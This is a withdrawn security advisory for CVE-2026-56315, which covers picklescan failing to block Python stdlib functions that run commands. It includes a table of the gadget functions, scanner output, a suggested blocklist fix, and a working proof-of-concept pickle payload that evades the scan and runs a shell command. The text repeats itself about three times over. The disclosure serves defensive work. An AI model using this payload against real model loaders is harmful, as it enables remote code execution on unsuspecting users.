CVE-2026-56315

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

• picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

| Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args) | CLEAN | | _osx_support | _read_output(cmdstring) | os.system() via temp file | CLEAN | | _osx_support | _find_build_tool(toolname) | Command injection via %s | CLEAN | | _aix_support | _read_cmd_output(cmdstring) | os.system() | CLEAN | | _pyrepl.pager | pipe_pager(text, cmd) | subprocess.Popen(cmd, shell=True) | CLEAN | | _pyrepl.pager | tempfile_pager(text, cmd) | os.system(cmd + ...) | CLEAN | | imaplib | IMAP4_stream(command) | subprocess.Popen(command, shell=True) | CLEAN | | test.support.script_helper | assert_python_ok(*args) | Spawns python subprocess | CLEAN |

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

• uuid — not blocked
• _osx_support — not blocked
• _aix_support — not blocked
• _pyrepl — not blocked
• _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
• imaplib — not blocked
• test — not blocked
• test.support — not blocked
• test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

• picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
• picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

• HuggingFace Hub — uses picklescan server-side to scan uploaded model files
• ML pipelines — any CI/CD or loading pipeline using picklescan
• Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked.…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-g38g-8gr9-h9xp. This link is maintained to preserve external references.

Original Description

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

• picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

| Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args) | CLEAN | | _osx_support | _read_output(cmdstring) | os.system() via temp file | CLEAN | | _osx_support | _find_build_tool(toolname) | Command injection via %s | CLEAN | | _aix_support | _read_cmd_output(cmdstring) | os.system() | CLEAN | | _pyrepl.pager | pipe_pager(text, cmd) | subprocess.Popen(cmd, shell=True) | CLEAN | | _pyrepl.pager | tempfile_pager(text, cmd) | os.system(cmd + ...) | CLEAN | | imaplib | IMAP4_stream(command) | subprocess.Popen(command, shell=True) | CLEAN | | test.support.script_helper | assert_python_ok(*args) | Spawns python subprocess | CLEAN |

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

• uuid — not blocked
• _osx_support — not blocked
• _aix_support — not blocked
• _pyrepl — not blocked
• _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
• imaplib — not blocked
• test — not blocked
• test.support — not blocked
• test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

• picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
• picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

• HuggingFace Hub — uses picklescan server-side to scan uploaded model files
• ML pipelines — any CI/CD or loading pipeline using picklescan
• Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked.…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-g38g-8gr9-h9xp. This link is maintained to preserve external references.

Original Description

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

• picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

| Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args) | CLEAN | | _osx_support | _read_output(cmdstring) | os.system() via temp file | CLEAN | | _osx_support | _find_build_tool(toolname) | Command injection via %s | CLEAN | | _aix_support | _read_cmd_output(cmdstring) | os.system() | CLEAN | | _pyrepl.pager | pipe_pager(text, cmd) | subprocess.Popen(cmd, shell=True) | CLEAN | | _pyrepl.pager | tempfile_pager(text, cmd) | os.system(cmd + ...) | CLEAN | | imaplib | IMAP4_stream(command) | subprocess.Popen(command, shell=True) | CLEAN | | test.support.script_helper | assert_python_ok(*args) | Spawns python subprocess | CLEAN |

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

• uuid — not blocked
• _osx_support — not blocked
• _aix_support — not blocked
• _pyrepl — not blocked
• _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
• imaplib — not blocked
• test — not blocked
• test.support — not blocked
• test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

• picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
• picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

• HuggingFace Hub — uses picklescan server-side to scan uploaded model files
• ML pipelines — any CI/CD or loading pipeline using picklescan
• Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked.…